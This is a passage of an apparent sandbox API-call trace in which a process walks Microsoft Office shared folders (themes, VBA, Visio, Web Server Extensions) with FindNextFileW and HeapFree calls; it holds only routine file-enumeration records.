ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0080.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.391] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0080.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.391] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0080.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.391] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0080.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.392] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0080.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.392] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0080.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.392] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0080.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.392] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0080.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0080.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0080.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0080.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0080.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.394] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0080.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.394] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0080.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.394] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0080.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.394] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0080.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.395] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0080.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.395] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0080.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.395] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0080.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0080.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0080.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0080.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0080.397] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.397] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0080.397] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.397] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0080.397] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.397] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0080.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.398] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0080.398] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0080.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.398] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0080.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.398] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0080.399] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0080.399] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0080.399] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0080.399] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0080.399] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.400] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0080.400] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.400] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0080.400] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.400] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.401] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0080.404] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0080.405] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0080.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0080.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x582d48, 